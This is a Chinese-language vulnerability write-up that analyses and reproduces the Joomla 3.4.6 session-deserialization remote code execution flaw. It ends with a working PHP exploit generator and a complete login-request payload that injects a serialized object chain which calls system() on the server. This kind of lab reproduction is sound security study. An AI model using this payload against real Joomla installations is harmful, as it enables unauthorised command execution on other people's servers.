joomla3.4.6rce 分析复现

环境搭建

Joomla环境搭建下载:https://github.com/joomla/joomla-cms/releases/tag/3.4.6

php5.5.9

漏洞分析

loadSession方法分析

public function loadSession(JSession $session = null)
    {
        if ($session !== null)
        {
            $this->session = $session;

            return $this;
        } //判断seesion的值是否为空

        // Generate a session name.
        $name = JApplicationHelper::getHash($this->get('session_name', get_class($this)));  //调用JApplicationHelper类里面的gethash方法 创建一个新的seesion

        // Calculate the session lifetime.
        $lifetime = (($this->get('lifetime')) ? $this->get('lifetime') * 60 : 900); //计算这个session的存活时间

        // Initialize the options for JSession.
        $options = array(
            'name'   => $name,
            'expire' => $lifetime
        );

        switch ($this->getClientId())
        {
            case 0:
                if ($this->get('force_ssl') == 2)
                {
                    $options['force_ssl'] = true;
                }

                break;

            case 1:
                if ($this->get('force_ssl') >= 1)
                {
                    $options['force_ssl'] = true;
                }

                break;
        }

        $this->registerEvent('onAfterSessionStart', array($this, 'afterSessionStart'));

        // There's an internal coupling to the session object being present in JFactory, need to deal with this at some point
        $session = JFactory::getSession($options);
        $session->initialise($this->input, $this->dispatcher);
        $session->start();

        // TODO: At some point we need to get away from having session data always in the db.
        $db = JFactory::getDbo();

        // Remove expired sessions from the database.
        $time = time();

        if ($time % 2)
        {
            // The modulus introduces a little entropy, making the flushing less accurate
            // but fires the query less than half the time.
            $query = $db->getQuery(true)
                ->delete($db->quoteName('#__session'))
                ->where($db->quoteName('time') . ' < ' . $db->quote((int) ($time - $session->getExpire())));

            $db->setQuery($query);
            $db->execute();
        }

        // Get the session handler from the configuration.
        $handler = $this->get('session_handler', 'none');

        if (($handler != 'database' && ($time % 2 || $session->isNew()))
            || ($handler == 'database' && $session->isNew()))
        {
            $this->checkSession();
        }

        // Set the session object.
        $this->session = $session;

        return $this;
    }

我们在来看看这个 \libraries\joomla\database\driver\mysqli.php

    public function disconnect()
    {
        // Close the connection.
        if ($this->connection)
        {
            foreach ($this->disconnectHandlers as $h)
            {
                call_user_func_array($h, array( &$this));
            }

            mysqli_close($this->connection);
        }

        $this->connection = null;
    }

里面有call_user_func_array 这个函数的用法 作为回调函数

1)普通使用:

           function a($b, $c) {  

                echo $b; 

                echo $c; 

           } 

          call_user_func_array('a', array("111", "222")); 

          //输出 111 222

这里由于seesion反序列化后 将会成为一个JDatabaseDriverMysqli类对象,不管中间如何执行,最后都将会调用__destruct魔法函数,__destruct将会调用disconnect,disconnect里有一处敏感函数:call_user_func_array。但很遗憾的是,这里的call_user_func_array的第二个参数是我们无法控制的,但是,我们可以进行回调利用:

所以 我们这里主要利用到这个函数的第二个用法 调用类里面的方法

2)调用类内部的方法:

         Class ClassA { 

                 function bc($b, $c) { 

                  $bc = $b + $c; 

                  echo $bc; 

                 } 

            } 

          call_user_func_array(array('ClassA','bc'), array("111", "222")); 

然后刚好 我们这里仔细观察init方法 到这里我们的思路就要清晰一些了 回调simple类里面的init方法 给cache_name_function定义一个值 从而造成远程代码执行

joomla3.4.6 rce 分析与复现_IT

 

 

 只要满足条件$this->cache=true && $parsed_feed_url['scheme'] !== Null,将其中第二个call_user_func的第一个参数cache_name_function赋值为assert,第二个参数赋值为我们需要执行的代码,这样就可以构成一个可利用的“回调后门“,达到任意代码执行效果。

那么我们在回过头来看 seseeion在数据库中提取出来加载到javamysql类的过程 从来调用函数执行恶意代码

loadSession 方法中会去实例化 JSessionStorageDatabase 类(下图第737行),而该类继承自 JSessionStorage 类,在实例化时会调用父类的 __construct 方法。在父类 __construct 方法中,我们看到使用了 session_set_save_handler 函数来处理 session ,函数中的 $this 指的就是 JSessionStorageDatabase 类对像。接着,程序开启了 session_start 函数。

joomla3.4.6 rce 分析与复现_IT_02

 

然后我们继续观察 这里 程序的逻辑 当用户登陆失败时候 joomla会见登陆失败的用户数据存在seesion中 然后302到登陆页面

joomla3.4.6 rce 分析与复现_IT_03

 

在执行重定向代码时,程序会直接 exit() ,然后就会开始调用前面说到的 JSessionStorageDatabase 类的 write 方法,将用户 session 写入数据库。当我们再次发送请求时,程序会将上次存储在数据库的 session 取出来,这里在反序列化 session 的时候就会有问题。具体 write、read 的代码如下。

joomla3.4.6 rce 分析与复现_IT_04

 

 

 

接下来的操作就是简单的字符逃逸了 明天再来看看字符串逃逸

我们从read write函数中可以看见我们可以明显看到在 read 函数处理后,原先54个字符长度的 '\0' 被替换成27个字符长度的 chr(0).'*'.chr(0) ,但是字符长度标识还是 s:54 。所以在进行反序列化的时候,还会继续向后读取27个字符长度,这样序列化的结果就完全不一样,

joomla3.4.6 rce 分析与复现_IT_05

 

 

 

虽然处理后的username字段减少一半 但是继续向后读取到54个字符串为止,然而后面的就是password字段,所以passsword字段这样就被逃逸出来了,我们可以在这里进行对象注入

 

    思路
        使用 \0\0\0 溢出,来逃逸密码 value
        重新构建有效的对象
        发送 exp
        触发 exp

    在数据库中

s:8:s:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:6:"666666" //这里还是54个字符

    在读取置换之后

s:8:s:"username";s:54:"NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:6:"123456" //但是这里经read函数处理后就变成了27个字符

    实现对象注入

s:8:s:"username";s:54:"NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:n:"1234";s:2:"HS":O:15:"ObjectInjection"//

 

NNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:6:"1234"

从N开始往后读取到54个字符串为止,这样我们就完成了username的构造,然后在构造我们需要的对象进行注入。

exp

<?php

class JSimplepieFactory {}

class JDatabaseDriverMysql {}

class SimplePie
{
    var $feed_url;
    var $cache;
    var $sanitize;
    var $cache_name_function;

    public function __construct($feed_url, $cache, $sanitize, $cache_name_function)
    {
        $this->feed_url = $feed_url;
        $this->cache = $cache;
        $this->sanitize = $sanitize;
        $this->cache_name_function = $cache_name_function;
    }
}

class JDatabaseDriverMysqli
{
    protected $obj;
    protected $connection;
    protected $disconnectHandlers = array();

    public function __construct($obj, $connection, $disconnectHandlers)
    {
        $this->obj = $obj;
        $this->connection = $connection;
        $this->disconnectHandlers = $disconnectHandlers;
    }
}

$function = 'system';
$argument = 'http://www.baidu.com;id';
$simplepie = new SimplePie($argument, true, new JDatabaseDriverMysql(), $function);
$jdatabasedrivermysqli = new JDatabaseDriverMysqli(new JSimplepieFactory(), true, array(array($simplepie,'init')));
echo serialize($jdatabasedrivermysqli);

?>

payload

CSRF-Token值=1&task=user.login&option=com_users&username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=234";
s:3:"233":exp的payload

最后导致rce

joomla3.4.6 rce 分析与复现_IT_06

 

 

exp

CSRF-Token值=1&task=user.login&option=com_users&username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=234";

s:3:"233":O:21:"JDatabaseDriverMysqli":3:{s:6:"*obj";O:17:"JSimplepieFactory":0:{}s:13:"*connection";b:1;s:21:"*disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":4:{s:8:"feed_url";s:23:"http://www.baidu.com;id";s:5:"cache";b:1;s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:19:"cache_name_function";s:6:"system";}i:1;s:4:"init";}}}